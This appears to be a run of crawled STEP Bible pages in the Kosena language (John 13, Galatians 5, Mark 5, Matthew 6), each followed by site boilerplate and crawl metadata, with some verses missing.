Ísóigoo emó sénda nááwaꞋiyo séwánana 26 Ísu séna kemó toómbó nompí tuꞋmái aménaunda-kwaasi kwemán-iye séna toómbá maimaéna nompímbá tuꞋmái mindáꞋá Sáímoni Isakéríóti ááninko áwíꞋa Yútásimba amúwana 27 mintómbá mayówana Sáátáánigo kwenarumpimbá iyúwana Ísu simámena séna emó ónáe sindaíꞋa maaránkaꞋa uwó Ísu súwasa 28 toómbó kwénaapaꞋo máyón-kwaasi Ísumo sún-ainkona ááimba íma ísámai kawer-umbá 29 sésa Yútási óntankaꞋa tavíkówaintavena Ísu séna ímo óísambo makáan-kwaasi évakaꞋa timiyó Ísu siyé sésa tanómbo káúvón-kanaaratavai sésa toómbá meéyán-uwo Ísu siyé suwaná 30 Yútási Ísumo amún-tomba maimaéna avekáán-umai máápaꞋa kumúwana túnkuraiye.\naúná-amaambo simátímakain-kwasai.31 Yútási máápaꞋa kumúwana Ísu séna ívéꞋa kwaási úrandako súwíꞋa anómba umái kwévaarisana kesí mayáígómá Áánútu áwíꞋa anómba umái kwévaariye. 32 kesí mayáígómá Áánútu áwíꞋa anómba intembá ívéꞋa Áánútu kesúwíꞋa anómba íníye. 33 kesí iyámpóíyono. sáwíyankaꞋa kesé méꞋa tiyúwáanaꞋa sivakáá ónááowe. Yútaa-kwaasiyaveꞋo áꞋo simátimeꞋo súndantemba kentávéꞋa séꞋa íyóndaraꞋa íma kanaán-umai iyónááowe. 34 aúná-amaamba simátíménaꞋa kesirumbó timúndanten-umai moórá-mora-umai kentirumbá tíméro. 35 moórá-mora-umaimo kentirumbó timíyasamo ésa tuwánésa sésa Ísuna kwayó-kwáásín-owe sénááowe Ísu siráiye.\nPítaa ánaaemba umásinkaniye siráin-kwasai.36 Ísu simásuwowana Sáímoni Pítaa áísaa ena séna Ísóigoo náávara iyíníyono súwana íyóndaraꞋa ívéꞋa íma sínaaemba kwaráníyompo aáno sínaaemba kwaráníyone súwana 37 Pítaa séna Ísóigoo nóintavaiya ívéꞋa íma ánaaemba kwaránaumno. íma póꞋa áwaꞋnaa umai púwónana kaweꞋá íníye súwana 38 Ísu séna áwaꞋnaa umai puwónaumnemo sénda kemá áraiꞋa simámeꞋa séꞋa kokórigomo ímo ááimo siráindaraꞋa kaumboráꞋá kentáváí séma íma awánáúnda-kwaasiye síníyone Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.13","date":"2018-04-25T06:40:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947705.94\/warc\/CC-MAIN-20180425061347-20180425081347-00178.warc.gz","language":"kze","language_score":0.9999809265,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999809265136719}","num_words":727,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.164,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Galatians 5\nÍsu sáwí-imayaaomo tátokaimpinkemba iyátínkaraindavaꞋa maéꞋa miráumai máéro siráin-kwasai.1 Ísu Káráísiti séna sáwí-imayaaomo tátokaimpinkemba iyátinkanaumne séna iyásínkaraimba póꞋa keinárawaꞋa iyátínkaraindavaꞋa méꞋa moórágwaraꞋa tátoranin-ampaꞋa íma kwáráaro.\n2 kemá Póro simátimumpo kaweꞋá umái ísáaro. arupí umái máyáawain-owe Áánútu síníntaveꞋa túraꞋa kárámai araaꞋéna oro kwésemba mináíntávéꞋo owémó síyanamo éna Ísu Káráísiti keinárawatavaiye sénamo pukáin-anko íma túwaꞋnaa íníye. 3 túraꞋa kárámai araaꞋéna orómó kwésewaiyaveꞋa avoraꞋá súmpo ísáaro. Yútaa-kwaasiti ámáámbo kwaréꞋo túraꞋo kárámaimo araaꞋénamo éꞋo éꞋa Yútaa-kwaasiti ámáámba amápaꞋa kwaꞋmaéꞋa koró. 4 keinárawapinkemba évakarawai séꞋa ámáámbo kwaráúnda Áánútu suwánéna arupí umái máyáawain-owe síníye-imayaa kwéowai Ísu Káráísitiyemo tarúmaimo máyáamba ivátuweꞋa Áánútumo úwoi kwétuwaꞋnaa-imba tínaaemba umámakaawe. 5 keinárawaꞋa mirá kwéovo kesáá maará éta Ísu Káráísitiye aráápamai máyaunanaya Áánútun-amanko súwaꞋnaa imbá pónaya kentááyávéna séna arupí umái máyáawain-owe sínímba amuꞋmaréta méta séta áraiꞋa mirá síníyeya kwésune. 6 Ísu Káráísitiye tarúmaiya máyaundaya moóráwaimo áúraꞋo kárámaimo araaꞋéna ínana ímo áúraꞋo kárámaimo araaꞋéna ínanamo ínímba mindá íma anón-tantaaꞋan-ivo Ísu Káráísitiyemo aráápamaimo máyaundaya túwaꞋnaa umai máyaundaya mindá anón-tantaaꞋan-iye.\n7 Ísu Káráísitina aampaꞋá aamoí ésa kwégwaraamba moóráwai minámbá áúntuwaisaꞋa ívéꞋa Ísu Káráísitina árair-aimba íma kwégwaraawe. 8 Áánútu kwená kwaási-iꞋa umátinkaindayavena tááyaraiwai minámbá íma áúntukaivo kwaási áúntukaawaꞋa íma kwégwaraawe. 9 kwaási maarán-áímbá sésa kisaamó moórámo kampindaisaná amápaꞋa kwégampindaiye kwésevo kentúraꞋa kárákwiyoro. 10 keináraware kesááwé Ísóigowe tarúmaiya máyaundayaveta asiramái simátimeꞋa séꞋa kemó imáyáamo úndantemba mirán-ímáyáá íyata mimbórá-ímáyáá ónaundayaawe kwésunda póna kampar-áímbá séna kentirumbá kwéairaraiwai kemá íma awánáúnda-kwaasi kwemá sáwí-meyamba mayáníye-aimba ísaraumne.\n11 kesí kwaásiyono. évakarawai kentávésamo kampaꞋá sésa arupí umái máyáawain-owe Áánútu síníntaveꞋa túraꞋa kárámai araaꞋéna oró-áímbá kwésiyemo kampaꞋó kwésemba mináímbó paaímó kwésundarakai íma sáwíꞋa umásínkáasino. kemá simátimeꞋa séꞋa Ísu Káráísitimba taairaꞋá tuvúwúwana kentááyáváíyé séna pukáiye-aimba kwésimatimunda-aintavesa áwááꞋa kwésevo túraꞋa kárámai araaꞋéna oró-áímbó kwésundarakai íma áwááꞋa síyésino. 12 kampar-áímbó simátimesamo kentirumbó kwéairaraawai miwí túma kárámai sáwíꞋa umásuwaaro-imayaa kwéune.\n13 kesí kwaásiyono. sáwí-imayaaomo tátokaimpinkembo iyátinkaindayavena Áánútu tááyamai mirá uráimba póꞋa áꞋa iyátinkaisaꞋa máyáantaveꞋa sáwí-yantaataveꞋo tirááíyaveꞋo kwéomba íma kwaréꞋa kwempá-kwempaꞋa tirumbá timéꞋa túwaꞋnaa umai máéro. 14 mindáyavena naaóváꞋá Áánútun-aai aúváívimba agaimaréna séna\nkesáváí-ímáyáámó ontembá kentí\nkwaásiti imáyáagwaraꞋa oro\nagaimaréna siráiye. Áánútumo siráin-amaankona ááimba mirán-áímbán-iye. 15 ánivo keinárawaꞋa keíyái aaisambá séꞋa áwááꞋa séꞋa ónááombo éꞋa sáwíꞋa umái ánásanaaovo kárákwiyoro.\nÁánútumbo arááímo tainíꞋo ésa sáwí-imayaagomba tirááíyavai ésa on-kwásáí.16 simátíménda ísáaro. Áánútun-amanko kwésintemba miráumai maíꞋmaiꞋa éꞋa Áánútumbo arááímo tainíꞋo éꞋo éꞋa sáwí-yantaataveꞋo tirááíyaveꞋo kwéon-ambo íma kwaránááomba mindá kanaán-ivo mirán-oro. 17 sáwí-imayaayaveꞋo tirááíyaveꞋo kwéomba isaná Áánútun-amankombo arááímo tainíꞋo kwéomba isaná minkáér-ímáyááó tiyankéya kwéivo Áánútun-amankomo kentúraꞋo kárákwiraimbo éꞋa sáwí-yantaataveꞋo tirááíyaveꞋo kwéon-amba íma kwaránááowe. 18 Áánútun-amankomo sintembó mirámó éꞋo éꞋa séꞋa Áánútun-amankomba arááíma tainíꞋa kwéunana póna Yútaa-kwaasiti ámáánko kembá íma tátokaiye kwésewe.\n19 kwaási miwítí imáyáavinkemba avoraꞋá maará kwéowe. áwáyo-tantaariꞋa ésa anómba sáwíꞋa ésa sáwíꞋo kwéon-tantaatavesa íma tigaeyávésa ésa 20 kígaumo umándai-yantaako áwíꞋa mósá marésa kwaántá-kwaasiyonti imáyáa mósá marésa uwaaꞋá kwévesa pukaaꞋá kwéagayesa tíyámba kwéumatinkesa aaisambá kwésesa tirumbá sáwíꞋa kwéumatinkesa áwááꞋa kwétiyesa miwí tááigo usáyaaitainkwae sésa íma tágárotamai kaweꞋá umái mésa taaínkaar-umai mésa 21 túran-anda kwéesa uwoꞋaóꞋ-nómbá kwénesa uwoꞋaóꞋá kwéesa uwoꞋaóꞋ-nómbó nánááontavesa torupamái mésa mirán-tántááꞋá kwaásiti imáyáavinkemba kwéowaꞋa simái ságamatimeꞋa ókwaraꞋa simái ságamatimeꞋa séꞋa mirámó kwéowai Áánútumo kárákwirain-ayampaꞋa íma ménaaovo kárákwiyoro kwésune.\n22 ánivo Áánútun-amanko tirumpimbá máyáiwai maará umátínkáisasa kwémaewe. tirumbá kwétimesa tirunkó kaweꞋá ésa paru umái mésa asiramái maésa íma tívón-káínasa mésa túwaꞋnaa umai kaweꞋá umátinkesa miwítí mayáí kaweꞋá umái kwémaesa 23 miwí túma íma maé iyésa miwí túraꞋa kárákwimai kaweꞋá ésa mirámó kwéowaina ááimba íma aambá áúnkaiye. 24 Ísu Káráísitina kwaási sáwí-imayaayavesamo tirááíyavesamo kwéon-imayaao kentáá tátoꞋmai tavisivó sésa sáwí-imayaayavesamo tirááíyavesamo kwéon-amba tínaaemba umámesa tukáawe.\n25 Áánútun-amanko aúnáiꞋa umásínkaraisata aúnáiꞋa umái máyaunda póta kwenamankómó kwésintenta umáíya kwáráano. 26 kentúma íma maé iyéꞋa kesááigo usáyaaitainkwae íma séꞋa kawe-tántááꞋó índayaveꞋa íma simái sáwíꞋa oró.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Gal.5","date":"2018-04-25T08:47:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947759.42\/warc\/CC-MAIN-20180425080837-20180425100837-00372.warc.gz","language":"kze","language_score":0.9999988079,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999988079071045}","num_words":718,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mark 5\ntaraváá-kwámbá arumpinkémbá mayáúkain-kwasai.1 simásuwesa mindómpí-sípívímbá kumbá Káríri-marama tínaaempaꞋa kwáyowana Kégésaa-marama túrampaꞋa kwáyowasa mimbáráváꞋá kumbá 2 Ísu mindómpí-sípívínkémbá mimbáráváꞋá ásávowana moóráwai taraváá-kwámbá arumpimbá máyon-kwaasigo utamátínkó-muri-aivaꞋa máyomba ÍsunopaꞋa tirái. minkwáásí kárár-umankontemba taráka-yaraka úwaima póna íma kwaási mésayavai íma kárár-umankowana ména 5 enómba irarómba omákaꞋa utamátínkó-muri-aivaꞋa kwénaaena kwááꞋa kwétena óntandei kwenáúraꞋa kwétena 6 nénkakemba Ísumba awánéna isaaiséna Ísun-aókáꞋá taména kwená imáyáa éna áwíꞋa mósá marówana Ísu minkwáásígó arumpinkén-táráváá-kwánkóntávéna séna emá taraváá-kwámbá ómpo minkwáásígómbá auwé kóaao súwana anónkaꞋa séna Ísuwo usáyaaitamai-Isoigo ááninko ómpo Áánútuntavai ísámai sínkamonavainivo nóra umásinkaniyono súwana 9 Ísu séna enáwíꞋa nááwaꞋono súwana sáwívaꞋa máyaumpo kesúwíꞋa sáwívarawai úne séna máyowasa 10 omákaꞋa sáwíva-poima mésa umá kwénowasa minkwáásígó arumpinkén-táráváá-kwántómbá Ísuntavesa asiramái sésa óꞋopaꞋa íma siꞋmaraaó. mimpóí tirumpimbá siꞋmaraaó suwaná mirá oró súwasa taraváá-kwántómbá minkwáásígó arumpinkémbá kárúwesa póí tirumpimbá kovérówasa mimpóíyómbá amápaꞋa ámémpakemba isaaisésa nonkwaaúmpíntá kumpérómba putásowasa 14 póíraꞋo tavíkówai úmba awánésa avekáán-umai naaópaꞋa kwésa kígauvimpaꞋo máyón-kwaasi mósimatim-besimati uwasá isésa koawánanae sésa kumbá 15 ÍsunopaꞋa koyorupésa awánomba taraváá-kwántómbó arumpinkémbó kóun-kwaasigo unáánkwátói úmarena kaweꞋá umái máyowasa koawánésa táátavai uwasá 16 Ísumo minkwáásígómbó kaweꞋó umánkowasamo awánon-aine póígomo ún-aine simátímúwasa 17 isésa Ísuntavesa sésa maambáráváꞋá ivá siyuwéya kóaao suwaná 18 nompí-sípívímbá usámaaisowana taraváá-kwámbó arumpinkémbó mayauwón-kwaasigo Ísuntavena asiramái séna esé kónáe súwana 19 ímanivo ená naaópaꞋa kuré Ísóigomo arumbó umánkenamo kaweꞋó umánkáin-aimba enamááraawi kosimátimiyo súwana 20 Tékáporisi-ayampaꞋa mindáópata Ísumo umánkon-aimba simátímaꞋmaena kúwasa amápa-kwaasi sáwívar-imayaa uráawe.\ninaamarúgónté aaraigóntéi kwaasái.21 Ísu Káríri-kwaaunkona menávápákémbá nompí-sípívímbá koyauweréna túmba moórágwaraꞋa kwaaúnkón-awampaꞋa máyówasa sáwíva-kwaasi torupowaná 22 moóráwai monoꞋ-nánkáꞋó kárákwirowai áwíꞋa Yáírasi téna Ísumba taawánéna Ísu anóndakoman-iye séna aísamaivimba kumbéna 23 asiramái séna kesiyáámúmba puwíndayavena kwéivo tiré aneꞋá koyátorenana asóvéna kaweꞋá umái máíno súwana 24 Ísu kwesé kúmba sáwíva-kwaasi Ísumba taúkúraaꞋnamai kwaꞋmaé kuwaná 25 moórá-ininkomba áíꞋa kwéun-ininkogwaraꞋa kwaꞋmaéna kúmba kwembá naaeyámba kwéankowana sísamaivakemba kaeꞋá kumbaimái-ima maisuwéna mináíꞋá íma érankowasa 26 sáwíva-sontaa-kwaasi áwaꞋnaa uwaná óísamba tímaꞋmai ánásasuwowana mináíꞋá íma érankomba anón-aiꞋa umágúwana 27 minínínkómá Ísumo kaweꞋó umátínkaron-aimba iséna séna Ísuna unáánkwátóiraꞋa koyátóráánanama síꞋa ésinkaniye séna sáwíva-kwaasimo kwaꞋmaé kumpímbá minínínkó maréna ánaaempakemba unáánkwátóiraꞋa tátorowana 29 mindááéyánkoma érankowana imáyáama éna asóvasinkaiye súwana 30 Ísu imáyáama éna séna kempínkén-ásíráyánkó moóráwaimba kaweꞋá umánkáiye séna kwántámai tuwánéna séna nááwawa kesí unáánkwátóiraꞋa tátorainaꞋiyo súwasa 31 kwená kwayó-kwáásí Ísumba simámesa sésa úwé sáwíva-kwaasi kwenkuvaráꞋa úmaesa íyómpimba tátokaavo nááwawa kesí unáánkwátóiraꞋa tátorainaꞋiyo nóra séwa kwéseno suwaná 32 tátokaiwaintavena mógaraꞋmegara úwana 33 minínínkó imáyáa éna séna asóvasinkaiye súwana ayántámbá kwétowana Ísu aísamaivimba kumbaéna asóvamankon-aimba simámuwana 34 Ísu séna kesímánaako kentáváí se áraiꞋa súwaꞋnaa íníwaiman-iye sénda póna áíꞋa éránkáivo kaweꞋá umái kwaaó Ísu siráiye.\n35 Ísu mináímbá kwésuwasa monoꞋ-nánkáꞋó kárákwirowaina naaópaken-kwaasi tésa Yáírasintavesa sésa enayáámúnko pukáivo anóndatavai ténavo simámiyo suwaná 36 Ísu mináímbá iséna ivátuwena Yáírasintavena séna mináíntáváí íma áákar-aakaꞋa éma kentáváí ísámai kuwo séna 37 kwaꞋmaésamo kun-kwáásíyóntávéna maankáꞋá méwaro séna Pítaante Yémésinte kwenáváko áwíꞋa Yóninte tíꞋmaena kúmba 38 sáwíva-kwaasi monoꞋ-nánkáꞋó kárákwirowaina naaúmpaꞋa torupamái mésa anón-iviꞋa kwétowana Ísu iséna 39 naaúmpaꞋa usávéꞋmai iyéna séna íma iviꞋá taaró. minárásí íma pukáivo úwoi aúmá kwaiguráiye súwasa 40 Ísun-awíráái suwaná tiꞋmátuwowasa máápaꞋa kunákárúwowana minárásígó anóvowiye kwená kwayó-kwáásíráúm tíꞋmaena minárásígó pukópaꞋa iyéna 41 ayáánkaꞋa tátorena kwenááivinkemba simámena séna tarita kumi mirámó súmba kwántámai séna inaamarúgóo usásinaao súwana 42 usásinkwena sísamaivakemba kaeꞋá kumbaimái-ima maisukáin-inaamaruma usásinowasa awánésa táátavesa uwaná 43 Ísu asiramái séna kemó únda-aimba íma simátíméro séna minárásígómbá toómbá áméro siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mar.5","date":"2018-04-25T06:41:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947705.94\/warc\/CC-MAIN-20180425061347-20180425081347-00384.warc.gz","language":"kze","language_score":0.9999754429,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999754428863525}","num_words":651,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matthew 6\nkwétuwaꞋnaa-on-kwasai.1 Ísu mináímbá simásuwena séna évakarawaiyaveꞋa tirumbá umátinkeꞋa túwaꞋnaa ónááomba íma maarán-ímáyáá éꞋa kwaási máyaiyankaꞋa kwétuwaꞋnaa-onasa anón-kwaasiman-iye sígwáe-imayaa íma éꞋa úwoi túwaꞋnaa oro. mirán-ímáyáámó kwéeꞋo túwaꞋnaa íyanamo éna kentivo kwíyómpakewai kaweꞋ-méyámbá íma timíníye. 2 óísambo ímo makáawaimo túwaꞋnaa ónááomba kwaási aamoí umásinkaigwae-imayaa íma éꞋa íma anónkar-anonkaꞋa síyamba úwoi túwaꞋnaa ónááowe. kaumbo-káér-ainkwara-kwaasi monoꞋ-náúmpáré aamparé kwirésa anónkaꞋa sembá óísambo ímo makáawaimo tímémba íma miwítí imáyáa ombá kwétimesa kesúwíꞋa mósá maráígwáe sésa kwétimewe. áraiꞋa simátimeꞋa séꞋa mindámo tímén-anonda miwí túwíꞋo mósá máráamba áꞋa mimbéyámbá kwémayaawe. 3 óísambo ímo makáawaimo túwaꞋnaa ónááomba kesí kwaási suwánaavo séꞋa kwaásimo ímo máyaiyankaꞋa túwaꞋnaa oro. mirámó ombá kentivo aúpáꞋó kwéomba tuwánaiwai póna kaweꞋ-méyámbá timíníye Ísu siráiye.\nÁánútumpaꞋa námúnaa kwésen-kwasai.5 Ísu mináímbá simásuwena séna ÁánútumpaꞋa námúnaa sénááomba kaumbo-káér-ainkwara-kwaasimo sentembá íma mirá oró. miwí sésa kwaási suwánésa aamoí umásinkaigwae-imayaa ésa monoꞋ-náúmpáꞋá mésa kwaásimo tóyo on-áyámpáꞋá mésa námúnaa kwésewe. áraiꞋa simátimeꞋa séꞋa miwímó mirámó kwéon-anonda miwí túwíꞋo mósá kwémaraamba mimbéyámbá kwémayaawe. 6 miwí mirá kwéovo ÁánútumpaꞋa námúnaa sénááomba kentí naaúmpaꞋa keináraware suꞋmai uméꞋa kentivombó ímo aneꞋó awánaraawaimpaꞋa námúnaa síyana aúpáꞋó kwéomba tuwánaiwai póna iséna kaweꞋá umái túwaꞋnaa íníye. 7 ÁánútumpaꞋa námúnaa sénááomba úwoi-ainkaamba íma simái tavisénaaowe. Áánútuna aambó ímo kwáráawai sésa tavisimái-ainta senanayá súwaꞋnaa íníye sésa úwoi-ainkaamba simái kwétavisevo 8 íma mirá oró. kentivombó ÁánútumpaꞋo mirám-baaran-aintaveꞋo kwéaisaa-eꞋo súwaꞋnaa íníyemo síyamba áꞋa awánaraimba póna túwaꞋnaa íníye. 9 ÁánútumpaꞋo aaí sénááomba maará séꞋa\n- kentáásivoo kwíyómpaꞋa máyaandawai óne. enáwíꞋa usáyaaitarain-awita mósá kwémaraumne.\ntoómbó auweson-kwásáí.16 Ísu mináímbá simásuwena séna ÁánútumpaꞋo námúnaawe suꞋmai séꞋa toómbá kwéawesomba asósóí-kwaasimo ontembá íma mirá oró. miwí sésa kwaási suwánésa sésa kaweꞋá ésa toómbá kwéawesowe sígwáe sésa toómbó ímo naanten-tóíꞋá maꞋmái kwémaewe. áraiꞋa simátimeꞋa séꞋa miwítí meéyámbá miwí túwíꞋa mósá kwémaraam-beyamba áꞋa mairáawe. 17 miwí ésa mirá kwéovo keinárawaꞋa toómbá kwéawesomba tóiꞋa kwisukéꞋa tiꞋnóntáu paasá tumái kaweꞋá úmaraiyasa 18 kwaási tuwánésa toómbá kwéawesowe íma síyana kentivo tuwánéna kaweꞋ-méyámbá timíníye. kentivon-aneꞋó ímo awánaawai aúpáꞋó ombá awánaiwai kaweꞋ-méyámbá timíníye Ísu siráiye.\nkwíyómpaꞋa kawe-tántáákóná kwaasái.19 Ísu mináímbá simásuwena séna marapáꞋó máyáamba sáwívar-oisamba íma máráaro. maráíyan-oisamba avíyaraamba káínana kwaígo náínana atún-káínasa mindámbá sáwíꞋa umásuwesa umóyámbá mayánááovo sáwívar-oisamba íma maréꞋa 20 kaweꞋ-máyáí mayáíyana kentí kawe-tántááꞋá kwíyómpaꞋa kwéniye. kwíyómpaꞋa kwáyáimba avíyaraamba íma káínana kwaígo íma náínana atú íma káínasa kwaási íma umóyámbá mayáíyana úwoi kwéniye. 21 marapáꞋó kentí óísambo kwáyainanamo éna marapátávéna tinkánívo kwíyómpaꞋo kentí óísambo kwáyainanamo éna kwíyómpatavena tinkáníye Ísu siráiye.\ntúranko kentí imáyáavimbo sámo kwégain-kwasai.22 Ísu mináímbá simásuwena séna túranko kentí imáyáavimbo sámo kaí-yántááꞋán-iye. túrankomo kaweꞋó umáímo awánáínanamo éna amápar-imayaa sáma kánívo 23 túrankomo ímo kaweꞋó umáímo awánáínanamo éna amápar-imayaa túnkwiniye. marapá-tántááré suꞋmai imáyáamo íyanamo éna keinárawapimbo sámo kaí-yántááꞋó ímo kwénamo éna tuní-yántáákó anómba umái kwéniye Ísu siráiye.\nóntantavena Áánútuntavena siráin-kwasai.24 Ísu mináímbá simásuwena séna íma kanaán-umai kae-káwáá-kwáásítí mayáí kwémayaawe. mirámó ésamo ésa moóráwaimba aamoí ésa moóráwaimba íma aamoí umánkanaaowe. mirámó ésamo ésa moóráwaina mayáí kaweꞋá umái maésa moóráwaina mayáí sáwíꞋa umái mayánááowe. miráumai Áánútuna mayáímó maéꞋo éꞋa sáwívar-ontamba mayánaumne-imayaa íma úmae iyónááowe. sáwívar-ontamba mayánaumne-imayaamo éꞋo éꞋa Áánútuna mayáí íma mayánááowe Ísu siráiye.\nmáyáantavai íma anón-imayaa oró-kwásáí.25 Ísu mináímbá simásuwena séna mináímbá imáyáa éꞋa simátimeꞋa séꞋa máyáamba íma anón-imayaa éꞋa toómbó nánááontaveꞋa íma anón-imayaa éꞋa kentúraꞋo unáánkwátóimo ónááontaveꞋa íma anón-imayaa oró. toómbó nánááomba úwoisambanivo kwaásimo máyáamba anón-tantaaꞋan-iye. unáánkwátói ónááomba úwoisambanivo kwaási túma anón-tantaaꞋan-iye. 26 numagómpáꞋá imáyáa oró. numaó íma kígau kwéena toómbá ákáꞋmai naaúmpaꞋa makéna nánívo kentivo kwíyómpakewai miwítí toómbá tímísasa kwénaawe. Áánútu aúrankaꞋa kemá kwaási numaómbá usáyaaitaraamba póna kentí toómbó éna timíníye. 27 keinárawaꞋo anón-imayaamo éꞋo éꞋa maíyan-kanaama íma kanaán-umai ayáátáákaꞋa ménaaowe.\n28 unáánkwátói ónááontaveꞋa íma anón-imayaa éꞋa kwaigwandáánkáꞋá imáyáa oró. kwaigwandáánkó íma kígau éna íma kwená unáánkwátói makáivo 29 simátimeꞋa séꞋa naaóváꞋá Yútaa-kwaasiti anóndako áwíꞋa Sórómoni kwemá sáwívar-unankwatoiye konaariríyé makówai úwasa kwaási awánésa kaweꞋán-iye sumbánivo kwaigwandáán-aramba awánésa anón-kaweꞋan-iye kwésewe. 30 uváꞋá konaarirí-yántááré séna kwaigwandáámbá Áánútu uváꞋá makáiye. umá íma kwaíkwaiꞋa ínívo ívéꞋa ínasa aaváyaa kwaási agaisúwánááomba Áánútu mintántááꞋá imáyáa kwéena konaarirí-yántááꞋá makáiye. miráumai Áánútu kwaásiyavena imáyáa éna kentí unáánkwátói timínívo keinárawaꞋa ÁánútuntaveꞋa íma kanaán-umai kwésuwaꞋnaa-iwaiman-iye ímo seráámbá kwésewe. 31 Áánútu kwétuwaꞋnaa-imba póꞋa toómbó nombó nánááontaveꞋa íma anón-imayaa éꞋa unáánkwátóimo ónááontaveꞋa íma anón-imayaa oró. 32 Áánútuna aambó ímo kwáráawai toómbó nombó nánááontavesa anón-imayaa kwéowe. toómbó nombó ímo kwéneꞋo eꞋa puwónááontavena kentivo imáyáa éna kwétimivo imáyáa íma anón-imayaa kwéeꞋa 33 Áánútumo kwená kwaásimo kawááintaveꞋa aivaꞋá imáyáa éꞋa kwembó arááímo tainíꞋo kwéontaveꞋa imáyáa éꞋa mirámó owaná mintántááꞋá kwétimiye. 34 ayunkáwe aaváyaawe paárinin-tantaataveꞋa íma anón-imayaa íyana tirunkó umbaí táíno. ívéꞋa kwáyáin-tantaataveꞋa imáyáa éꞋa aaváyaamo paárinin-tantaaꞋa awánéꞋa imáyáa éꞋa moórá-tawai moórá-tawaimo paárinin-tantaaꞋo awánaantemba imáyáa oró Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mat.6","date":"2018-04-22T00:43:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945484.57\/warc\/CC-MAIN-20180422002521-20180422022521-00387.warc.gz","language":"kze","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 